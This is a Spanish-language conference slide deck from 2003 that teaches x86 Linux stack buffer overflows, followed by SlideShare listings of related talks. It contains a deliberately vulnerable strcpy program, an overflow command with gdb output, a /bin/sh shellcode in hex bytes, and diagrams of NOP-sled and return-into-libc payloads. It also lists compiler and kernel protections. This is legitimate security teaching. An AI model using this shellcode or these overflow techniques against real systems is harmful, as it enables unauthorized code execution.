SlideShare ist ein Scribd-Unternehmen logo
1 von 28
FIST Summer Conference 2003


Understanding Advanced Buffer Overflow
   By Alejandro Barrera (a.k.a ergosum)

          14 de Julio de 2003
Índice

1. Introducción
2. Concepto de desbordamiento de buffer
        2.1 Detalles técnicos previos
3. Tomando el control del flujo de ejecución
        3.1 Shellcodes
              3.1.1 Special shellcodes (setuid,reverse shells)
4. Construcción del exploit
5. Técnicas Avanzadas
        5.1Return into lib
6. Conclusión
7. Referencias
Introducción

  • Vulnerabilidad del siglo
  • Importancia en el pen-testing
  • Aspectos técnicos
      •Como subvertir el flujo de ejecución
      •Como ejecutar código arbitrario
      •Técnicas avanzadas
  •Ámbito de la presentación
     •Arquitecturas x86
     •Sistema operativo Linux
     •Desbordamientos en la pila del proceso
Conceptos

      • Concepto de buffer
           H    O       L       A        0


      •Desbordando el buffer
char buffer[32]; //Declaramos un buffer para guardar 32 caracteres

for(i=0;i<64;i++) //Recorremos el buffer desde la celda 0 hasta la 64
    buffer[i]=’A’; //Guardamos una A en cada celda


         •Puede haber datos contiguos

     H      O       L       A       0        D1   D2
Conceptos (cont.)

     • Trás el desbordamiento
A     A    A   A    A    A      A   A   ...

    •Problemas
       •El compilador no chequea los límites
       •Podemos sobrescribir alegremente
       •Suele haber datos contiguos
           •Sobrescritura de datos legítimos
Detalles técnicos previos

  • Mapa de memoria del computador
     •0x00000000 - 0xffffffff

  • Cada proceso posee su propia memoria
     •Mapa de memoria aislado
     •Imagen del proceso
     •Memoria virtual
  • La Imagen del proceso se divide en secciones
Detalles técnicos (cont.)
  Código(.text)     Segmento donde se carga el código
                    del proceso

  Datos Con Valor   Segmento donde se cargan los datos
  inicial (.data)   con valor inicial, esto es, variables
                    globales inicializadas

  Datos sin valor   Segmento donde se cargan los datos
  inicial (.bss)    sin valor inicial, esto es variables
                    globales no inicializadas

  Pila (stack)      Segmento donde se guardan los
                    argumentos de las llamadas, las
                    direcciones de retorno y las variables
                    locales*
  Memoria           Segmento reservado para la
  Dinámica (heap)   memoria gestionada por el
                    programador

         Tabla 1. Secciones de un binario ELF
Pila del proceso (stack)

  • Como un bote de pastillas (ej. Redoxón)
                Dato4
       Cima 
                Dato3

                Dato2

                Dato1



  •LIFO (Last In First Out)
  •Operaciones:
     •Apilar (push)
     •Desapilar (pop)
  •En ella se almacenan
     •Argumentos de la llamada
     •Variables locales
     •Datos temporales
Pila del proceso (stack)


  •Normalmente comienza a partir de 0xbffffffff

  •Crece hacia direcciones decrecientes
     •0xbffffffe, 0xbffffffd, ...
Llamada a un proceso

  • Cuando realizamos una llamada
     •Pasamos parámetros
  void foo(int dato, char *buffer)
  {
    int aux=13;

      dato=dato+1;
  }
  •Internamente el compilador lo traduce
      •Genera código máquina
      •Código ensamblador
Registros importantes

  • El ensamblador maneja registros
      •Pequeños cajones para guardar datos
  •Ejemplo:
      • add r1 r2 // Suma el contenido de r1 con r2 y lo   guarda en r1
        mov r2 r5 // Copia el contenido de r2 en r5

  •Registros especiales
     •esp: Contiene la cima de la pila (puntero de pila
     o stack pointer)
     •ebp: Contiene la dirección donde comenzará la
      pila.También conocido como base pointer o
     frame pointer si se emplean marcos de pila.
     •eip: Contiene la dirección de la próxima
     instrucción a ejecutar.
Llamada a un proc(cont.)

•Cada argumento se apila en orden inverso
 •Llamante:

      push buffer //Apilamos la dirección del buffer en la pila
      push dato // Apilamos el dato
      call foo //Llamamos a la función
-------------------------------------------------------------------------------
      0x08048316 <main+26>:     push     $0x8048378 // La dirección del buffer
      0x0804831b <main+31>:     push     $0x17 // 23 en hexadecimal
      0x0804831d <main+33>:     call     0x80482f4 <foo>


  •Llamado:

          0x080482f4 <foo+0>:          push   %ebp
          0x080482f5 <foo+1>:          mov    %esp,%ebp
          0x080482f7 <foo+3>:          sub    $0x4,%esp
          0x080482fa <foo+6>:          movl
      $0xd,0xfffffffc(%ebp)
Llamada a un proc(cont.)

• Instrucción call
    •Pone en ejecución la subrutina que se indique
    •Guarda entre muchas otras cosas:
        •Dirección de retorno
           •Dirección de la instrucción a ejecutar
            cuando acabemos de ejecutar la subrutina
• Instrucción ret
    •Esta se ejecutará al finalizar la subrutina
    •Desapila la dirección de retorno
    •Copia la dirección de retorno en eip

      0x080482fa <foo+6>:   leave
      0x080482fb <foo+7>:   ret
Tomando el control

    • Buffer y dirección de retorno en la pila


                 buffer
Cima SP                      Posiciones decrecientes
                  var1

              Puntero Base

               Dir retorno

                  Arg2

                  Arg1        Posiciones ascendientes
Tomando control (cont.)

    • Tras el desbordamiento


               AAAAA..A
Cima SP                   Posiciones decrecientes
               AAAAA..A

                AAAA

               ¡¡AAAA!!

                Arg2

                Arg1       Posiciones ascendientes
Tomando control (cont.)

   ergosum@nexus:~/curso$ cat test.c

   void foo(int dato, char *buffer) {
     char buff[32];

       dato=dato+1;
       strcpy(buff,buffer);
   }


   int main(int argc, char**argv) {
     int dat=23;

       foo(23,argv[1]);
       return 0;
   }
   ergosum@nexus:~/curso$ gcc -o test test.c
   ergosum@nexus:~/curso$ ./test `perl -e' print "A"x36'`
   ergosum@nexus:~/curso$ ./test `perl -e' print "A"x40'`
   Violación de segmento
Tomando control (cont.)

 Starting program: /home/ergosum/curso/test `perl -e 'print "A"x48'`
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb)

         •Normalmente hay más cosas
            •frame dummy
            •Entorno
Shellcodes

  • Si podemos apuntar a nuestro código
      •Podemos ejecutar código arbitrario

  • Tipo de código que ejecutamos
      •Código ensamblador
      •Lo pasamos a una cadena de caracteres

  •Código que ejecutamos
     •También conocido como shellcode[1]
        •Originalmente solo ejecutaba /bin/sh
Shellcodes (cont.)

   char shellcode[]=
  "xebx1f"               /*   jmp 0x1f */
  "x5e"                   /*   popl %esi */
  "x89x76x08"           /*   movl %esi,0x8(%esi)   */
  "x31xc0"               /*   xorl %eax,%eax */
  "x88x46x07"           /*   movb %eax,0x7(%esi)   */
  "x89x46x0c"           /*   movl %eax,0xc(%esi)   */
  "xb0x0b"               /*   movb $0xb,%al */
  "x89xf3"               /*   movl %esi,%ebx */
  "x8dx4ex08"           /*   leal 0x8(%esi),%ecx   */
  "x8dx56x0c"           /*   leal 0xc(%esi),%edx   */
  "xcdx80"               /*   int $0x80 */
  "x31xdb                /*   xorl %ebx,%ebx */
  "x89xd8"               /*   movl %ebx,%eax */
  "x40"                   /*   inc %eax */
  "xcdx80"               /*   int $0x80 */
  "xe8xdcxffxffxff"   /*   call -0x24 */
  "/bin/sh";               /*   .string "/bin/sh"   */
Shellcodes (cont.)

  • Los shellcodes no están limitados a /bin/sh
  • Cualquier tipo de programa
     •Shellcodes especiales[2]
         •Setuid() + /bin/sh
         •Reverse shell

  •Nos permiten franquear algunas restricciones
        •Drop de privilegios
        •Reverse channels
Construcción del Exploit


                        offset
NOP   NOP   ...   NOP   SC...    crap   ADDR   arg1   arg2   arg3


SP                                old ret_addr


•Instrucción NOP[1]
    •No Operation
    •No se ejecuta nada
    •Aumenta las posibilidades de alcanzar el shellcode
•Sobrescribimos la dirección de retorno
   •Colocamos la dirección aproximada donde reside
   nuestro shellcode
      •SP + Offset
Técnicas Avanzadas

  • Nuevas técnicas
     •Más sencillas
     •Más eficientes
  • Por nombrar algunas
     •Return Into Libc[3]
     •Off by one
     •Using enviroment[4]

  •Permiten sobrepasa restricciones
     •Tamaño del buffer
     •Offset guessing
Return-Into-Libc

 • Primer exploit usando esta técnica
     •Solar Designer [3]
     •Lpr
 •Teoría
    •Todos los programas se linkan por defecto a libc
    •Retornamos sobre alguna función de libc

ergosum@nexus:~/curso$ ldd test
       libc.so.6 => /lib/libc.so.6 (0x40018000)
       /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Return-Into-Libc

A      A   A   A    ....   System() addr   R1   arg system()


SP                         old ret_addr


 • Desbordamos el buffer con lo que sea
    •Escribimos en la dirección de retorno
       •Escribimos la dirección de la función system()
     •Cuando se ejecute system() buscará argumentos
        •Colocamos el argumento:
           •Un puntero a /bin/sh
     •R1 contendrá la dirección de retorno de system()
Return-Into-Libc

• Ventajas
   •No necesitamos shellcode
   •No necesitamos offset
   •No necesita una pila ejecutable
•Desventajas
   •Necesitamos dirección de la función sobre la que
   volvemos
   •No funciona si cargamos librerías en direcciones
   aleatorias
Conclusiones

• Comprobar siempre el tamaño del buffer

•Usar métodos de protección al compilar
   •Stackguard [5]
   •Propolice [6]

 •Usar parches para el kernel
    •Grsec [7]
    •PaX [8]
    •Openwall [9]
Referencias

[1] https://www.phrack.com/show.php?p=49&a=14
[2] http://downloads.securityfocus.com/library/advanced.txt
[3] http://www.insecure.org/sploits/linux.libc.return.lpr.sploit.html
[4] http://community.core-sdi.com/~gera/InsecureProgramming/
[5] http://www.immunix.org/stackguard.html
[6] http://www.trl.ibm.com/projects/security/ssp/
[7] http://www.grsecurity.net/
[8] http://pageexec.virtualave.net/
[9] http://www.openwall.com/
Muchas Gracias

          Muchas gracias por su atención

                Muchas gracias también al
 Ilustre Colegio Oficial de Geólogos por su inestimable
ayuda y sin la cual no habría podido celebrarse este evento
    y a Balwant Rathore por la organización del mismo.
     Las transparencias y el material se colgarán de los archivos de
     Pen-Test y en la web de FIST 2003

  Pen-Test (http://groups.yahoo.com/group/pentest/)
  FIST 2003 (http://www.ausejo.net/seguridad/conferencia.htm)

             Alejandro Barrera (a.k.a ergosum)
                 ergosum@podergeek.com

Weitere ähnliche Inhalte

Was ist angesagt?

Manejo de teclado 4x4 con pic 16 f84a
Manejo de teclado 4x4 con pic 16 f84aManejo de teclado 4x4 con pic 16 f84a
Manejo de teclado 4x4 con pic 16 f84axeleta
 
Manual de uso de nmap
Manual de uso de nmapManual de uso de nmap
Manual de uso de nmapnoc_313
 
Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07Carlos Pastorino
 
programacion con microcontrolador pic 16f84
programacion con microcontrolador pic 16f84programacion con microcontrolador pic 16f84
programacion con microcontrolador pic 16f84guestf09168b
 
Herramientas de monitoreo
Herramientas de monitoreoHerramientas de monitoreo
Herramientas de monitoreoTensor
 
Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1DamianGreg
 
⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)
⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)
⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)Victor Asanza
 
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...RootedCON
 
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]RootedCON
 
Proyectos con el pic16 f84 cekit
Proyectos con el pic16 f84 cekitProyectos con el pic16 f84 cekit
Proyectos con el pic16 f84 cekitEnrique Trascastro
 

Was ist angesagt? (20)

Manejo de teclado 4x4 con pic 16 f84a
Manejo de teclado 4x4 con pic 16 f84aManejo de teclado 4x4 con pic 16 f84a
Manejo de teclado 4x4 con pic 16 f84a
 
Manual de uso de nmap
Manual de uso de nmapManual de uso de nmap
Manual de uso de nmap
 
Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07
 
Manual Nmap
Manual NmapManual Nmap
Manual Nmap
 
Programas asm
Programas asmProgramas asm
Programas asm
 
02c.Unidad central de proceso
02c.Unidad central de proceso02c.Unidad central de proceso
02c.Unidad central de proceso
 
programacion con microcontrolador pic 16f84
programacion con microcontrolador pic 16f84programacion con microcontrolador pic 16f84
programacion con microcontrolador pic 16f84
 
Herramientas de monitoreo
Herramientas de monitoreoHerramientas de monitoreo
Herramientas de monitoreo
 
Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1Nmap6 cheatsheet eng v1
Nmap6 cheatsheet eng v1
 
⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)
⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)
⭐⭐⭐⭐⭐ SOLUCIÓN EVALUACIÓN SISTEMAS EMBEBIDOS, 2do Parcial (2020 PAO 2)
 
Teclado Matricial
Teclado MatricialTeclado Matricial
Teclado Matricial
 
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
Jose Selvi - Adaptando exploits para evitar la frustración [RootedSatellite V...
 
Aplicaciones con el pic 16f84
Aplicaciones con el pic 16f84Aplicaciones con el pic 16f84
Aplicaciones con el pic 16f84
 
Intro arduino r3
Intro arduino r3Intro arduino r3
Intro arduino r3
 
Comandos redwindows
Comandos redwindowsComandos redwindows
Comandos redwindows
 
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
José Selvi - Unprivileged Network Post-Exploitation [RootedCON 2011]
 
Programación PIC16F84A
Programación PIC16F84AProgramación PIC16F84A
Programación PIC16F84A
 
Proyectos con el pic16 f84 cekit
Proyectos con el pic16 f84 cekitProyectos con el pic16 f84 cekit
Proyectos con el pic16 f84 cekit
 
PROYECTOS CON PIC 16F84
PROYECTOS CON PIC 16F84PROYECTOS CON PIC 16F84
PROYECTOS CON PIC 16F84
 
Hacking ético con herramientas Python
Hacking ético con herramientas PythonHacking ético con herramientas Python
Hacking ético con herramientas Python
 

Andere mochten auch

Historia de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoHistoria de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoJuan Sacco
 
Castells manuel la era de la informacion tomo 2
Castells manuel   la era de la informacion tomo 2Castells manuel   la era de la informacion tomo 2
Castells manuel la era de la informacion tomo 2ProjectMart
 
CLASES STRING MATH TIME
CLASES STRING MATH TIMECLASES STRING MATH TIME
CLASES STRING MATH TIMEFernando Solis
 
08 strings o cadenas
08 strings o cadenas08 strings o cadenas
08 strings o cadenashorusblom
 
Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]
Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]
Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]RootedCON
 
Norma 27000
Norma 27000Norma 27000
Norma 27000nestor
 
Strings Y Archivos En Lab View
Strings Y Archivos En Lab ViewStrings Y Archivos En Lab View
Strings Y Archivos En Lab ViewIsrael Carrión
 
Caracteres y Cadenas en C
Caracteres y Cadenas en CCaracteres y Cadenas en C
Caracteres y Cadenas en CRonny Parra
 
LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)
LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)
LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)dimorac
 
Norma ISO 27000
Norma ISO 27000Norma ISO 27000
Norma ISO 27000UPTAEB
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksKapil Nagrale
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacksJoe McCarthy
 
La Era del Conocimiento
La Era del ConocimientoLa Era del Conocimiento
La Era del Conocimientopakal26
 
Sociedad del conocimiento
Sociedad del conocimientoSociedad del conocimiento
Sociedad del conocimientoIvan1492
 

Andere mochten auch (20)

Menos Buffer Overflows, más SQL Injections
Menos Buffer Overflows, más SQL InjectionsMenos Buffer Overflows, más SQL Injections
Menos Buffer Overflows, más SQL Injections
 
Bolanos marco tarea1
Bolanos marco tarea1Bolanos marco tarea1
Bolanos marco tarea1
 
Historia de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoHistoria de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan Sacco
 
Sistema buffer
Sistema bufferSistema buffer
Sistema buffer
 
Castells manuel la era de la informacion tomo 2
Castells manuel   la era de la informacion tomo 2Castells manuel   la era de la informacion tomo 2
Castells manuel la era de la informacion tomo 2
 
CLASES STRING MATH TIME
CLASES STRING MATH TIMECLASES STRING MATH TIME
CLASES STRING MATH TIME
 
08 strings o cadenas
08 strings o cadenas08 strings o cadenas
08 strings o cadenas
 
Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]
Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]
Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking [RootedCON 2012]
 
Norma 27000
Norma 27000Norma 27000
Norma 27000
 
Strings Y Archivos En Lab View
Strings Y Archivos En Lab ViewStrings Y Archivos En Lab View
Strings Y Archivos En Lab View
 
Caracteres y Cadenas en C
Caracteres y Cadenas en CCaracteres y Cadenas en C
Caracteres y Cadenas en C
 
Iso 27000 estandar
Iso 27000 estandarIso 27000 estandar
Iso 27000 estandar
 
LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)
LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)
LA ERA DE LA INFORMACIÓN Tomo I (Manuel Castell)
 
Norma ISO 27000
Norma ISO 27000Norma ISO 27000
Norma ISO 27000
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
Iso 20000
Iso 20000Iso 20000
Iso 20000
 
Buffer overflow attacks
Buffer overflow attacksBuffer overflow attacks
Buffer overflow attacks
 
La Era del Conocimiento
La Era del ConocimientoLa Era del Conocimiento
La Era del Conocimiento
 
Iso 27000
Iso 27000Iso 27000
Iso 27000
 
Sociedad del conocimiento
Sociedad del conocimientoSociedad del conocimiento
Sociedad del conocimiento
 

Ähnlich wie Buffer Overflow Avanzado

Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]RootedCON
 
Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Internet Security Auditors
 
Microcontroladores: Ejemplo de un computador real: AtmegaX8PA
Microcontroladores: Ejemplo de un computador real: AtmegaX8PAMicrocontroladores: Ejemplo de un computador real: AtmegaX8PA
Microcontroladores: Ejemplo de un computador real: AtmegaX8PASANTIAGO PABLO ALBERTO
 
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]RootedCON
 
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]RootedCON
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas ForensesConferencias FIST
 
Organizacion-de-la-unidad-central-de-procesamiento
Organizacion-de-la-unidad-central-de-procesamientoOrganizacion-de-la-unidad-central-de-procesamiento
Organizacion-de-la-unidad-central-de-procesamientoJosé Luis Olivares
 
Manipulacion de la pila!!
Manipulacion de la pila!!Manipulacion de la pila!!
Manipulacion de la pila!!romo91
 
Estructura basica de_un_programa_c_
Estructura basica de_un_programa_c_Estructura basica de_un_programa_c_
Estructura basica de_un_programa_c_Maztherprozh
 
Estructura basica de_un_programa_c_ (1)
Estructura basica de_un_programa_c_ (1)Estructura basica de_un_programa_c_ (1)
Estructura basica de_un_programa_c_ (1)Maztherprozh
 
Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valeraguestf280e2
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redesguest5d7f33c
 
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...RootedCON
 
LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)Emanuel Calvo
 
Fundamentos de Programación - Unidad II: Introducción a la Programación
Fundamentos de Programación - Unidad II: Introducción a la ProgramaciónFundamentos de Programación - Unidad II: Introducción a la Programación
Fundamentos de Programación - Unidad II: Introducción a la ProgramaciónJosé Antonio Sandoval Acosta
 
Microcomputadoras al detalle
Microcomputadoras al detalleMicrocomputadoras al detalle
Microcomputadoras al detallePTA Records
 

Ähnlich wie Buffer Overflow Avanzado (20)

Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
Manuel Blanco - GNU/Linux Binary Exploitation I&II [rooted2018]
 
Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86 Creacion de shellcodes para Exploits en Linux/x86
Creacion de shellcodes para Exploits en Linux/x86
 
Microcontroladores: Ejemplo de un computador real: AtmegaX8PA
Microcontroladores: Ejemplo de un computador real: AtmegaX8PAMicrocontroladores: Ejemplo de un computador real: AtmegaX8PA
Microcontroladores: Ejemplo de un computador real: AtmegaX8PA
 
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
 
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
Eduardo Blázquez - Técnicas de Ingeniería Inversa I & II [rooted2018]
 
Evasión de Técnicas Forenses
Evasión de Técnicas ForensesEvasión de Técnicas Forenses
Evasión de Técnicas Forenses
 
Organizacion-de-la-unidad-central-de-procesamiento
Organizacion-de-la-unidad-central-de-procesamientoOrganizacion-de-la-unidad-central-de-procesamiento
Organizacion-de-la-unidad-central-de-procesamiento
 
Manipulacion de la pila!!
Manipulacion de la pila!!Manipulacion de la pila!!
Manipulacion de la pila!!
 
Estructura basica de_un_programa_c_
Estructura basica de_un_programa_c_Estructura basica de_un_programa_c_
Estructura basica de_un_programa_c_
 
Estructura basica de_un_programa_c_ (1)
Estructura basica de_un_programa_c_ (1)Estructura basica de_un_programa_c_ (1)
Estructura basica de_un_programa_c_ (1)
 
Lw2010 Pedro Valera
Lw2010 Pedro ValeraLw2010 Pedro Valera
Lw2010 Pedro Valera
 
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En RedesLw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
Lw2010 - Uso De La Programacion En Linux Para La Seguridad En Redes
 
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
Jaime Peñalba - Como defenderse en terreno hostil: Protecciones para la Defco...
 
Lenguaje ensamblador
Lenguaje ensambladorLenguaje ensamblador
Lenguaje ensamblador
 
I S A
I S AI S A
I S A
 
Procesos
ProcesosProcesos
Procesos
 
LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)LSWC PostgreSQL 9.1 (2011)
LSWC PostgreSQL 9.1 (2011)
 
Fundamentos de Programación - Unidad II: Introducción a la Programación
Fundamentos de Programación - Unidad II: Introducción a la ProgramaciónFundamentos de Programación - Unidad II: Introducción a la Programación
Fundamentos de Programación - Unidad II: Introducción a la Programación
 
Microcomputadoras al detalle
Microcomputadoras al detalleMicrocomputadoras al detalle
Microcomputadoras al detalle
 
Microcomputadoras al detalle
Microcomputadoras al detalleMicrocomputadoras al detalle
Microcomputadoras al detalle
 

Mehr von Conferencias FIST

Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceConferencias FIST
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseConferencias FIST
 
Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiConferencias FIST
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security ForumConferencias FIST
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes WirelessConferencias FIST
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la ConcienciaciónConferencias FIST
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloConferencias FIST
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseConferencias FIST
 

Mehr von Conferencias FIST (20)

Seguridad en Open Solaris
Seguridad en Open SolarisSeguridad en Open Solaris
Seguridad en Open Solaris
 
Seguridad en Entornos Web Open Source
Seguridad en Entornos Web Open SourceSeguridad en Entornos Web Open Source
Seguridad en Entornos Web Open Source
 
Spanish Honeynet Project
Spanish Honeynet ProjectSpanish Honeynet Project
Spanish Honeynet Project
 
Seguridad en Windows Mobile
Seguridad en Windows MobileSeguridad en Windows Mobile
Seguridad en Windows Mobile
 
SAP Security
SAP SecuritySAP Security
SAP Security
 
Que es Seguridad
Que es SeguridadQue es Seguridad
Que es Seguridad
 
Network Access Protection
Network Access ProtectionNetwork Access Protection
Network Access Protection
 
Las Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática ForenseLas Evidencias Digitales en la Informática Forense
Las Evidencias Digitales en la Informática Forense
 
Evolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFiEvolución y situación actual de la seguridad en redes WiFi
Evolución y situación actual de la seguridad en redes WiFi
 
El Information Security Forum
El Information Security ForumEl Information Security Forum
El Information Security Forum
 
Criptografia Cuántica
Criptografia CuánticaCriptografia Cuántica
Criptografia Cuántica
 
Inseguridad en Redes Wireless
Inseguridad en Redes WirelessInseguridad en Redes Wireless
Inseguridad en Redes Wireless
 
Mas allá de la Concienciación
Mas allá de la ConcienciaciónMas allá de la Concienciación
Mas allá de la Concienciación
 
Security Metrics
Security MetricsSecurity Metrics
Security Metrics
 
PKI Interoperability
PKI InteroperabilityPKI Interoperability
PKI Interoperability
 
Wifislax 3.1
Wifislax 3.1Wifislax 3.1
Wifislax 3.1
 
Network Forensics
Network ForensicsNetwork Forensics
Network Forensics
 
Riesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el DesarrolloRiesgo y Vulnerabilidades en el Desarrollo
Riesgo y Vulnerabilidades en el Desarrollo
 
Demostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis ForenseDemostracion Hacking Honeypot y Análisis Forense
Demostracion Hacking Honeypot y Análisis Forense
 
Security Maturity Model
Security Maturity ModelSecurity Maturity Model
Security Maturity Model
 

Kürzlich hochgeladen

KELA Presentacion Costa Rica 2024 - evento Protégeles
KELA Presentacion Costa Rica 2024 - evento ProtégelesKELA Presentacion Costa Rica 2024 - evento Protégeles
